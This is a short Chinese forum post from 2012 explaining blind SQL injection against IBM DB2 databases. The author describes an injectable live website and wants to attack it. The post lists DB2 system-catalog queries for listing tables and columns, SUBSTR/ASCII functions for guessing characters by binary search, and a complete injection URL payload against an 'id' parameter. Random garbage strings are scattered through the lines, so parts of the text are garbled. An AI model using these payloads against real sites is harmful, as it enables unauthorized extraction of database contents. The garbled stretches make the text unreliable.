使用DB2的人比较少了，今天碰到了一个可供注入的DB2网站，想试试身手。不过在网上很难找到相关的资料，只好自己研究了。
( K W0 Z7 d) E; a$ l3 p* g参考了IBM DB2的文档，总结了这样几条： 1 G) f% _+ X* i K+ \
1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER ; b$ i2 u$ D% p. G2 l, l# _& B; w
可以返回系统中所有用户创建的表（table）名
3 [( m/ R- e6 ?+ C& }; }% L2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME='' 7 k' C5 i- _ |6 S8 S
返回表中的列名
4 A: b# j, }( }5 K% V3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY 3 L1 }4 h* ]5 w$ V6 O
这是最关键的地方，返回第一条记录，类似于sql server中的top 1
; v/ {8 [( a/ r) p4、SUBSTR(string, position, length) , O$ L3 B, B% R* H$ l: }
返回字符串子串的函数，类似于mid
4 t7 R/ `$ N8 x$ ~/ G/ B( j5、ASCII()这个就不用多说了。
# P; T& c% Z& W3 D$ A% y1 C. k9 j有了这些语句和函数，我们就可以很方便的用ascii拆半法猜出所有的table名，字段名，以及其中的数据了。 ' Y. Y5 o- ^' W! k* V- X
例如判断第一个table的名称的第一个字符的ascii码是否大于50： - R- }2 Y" t+ i
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 -- t2 U- g& o9 s/ h* l3 D. ?' E6 v t. K
" b8 {- o# O7 Z, mhttp://blog.waynedeng.com/blogview.asp?logID=543 * W2 b3 P/ _ H& g+ z* J4 v+ q
|
发表于 2012-9-15 14:06:51
收藏
支持
反对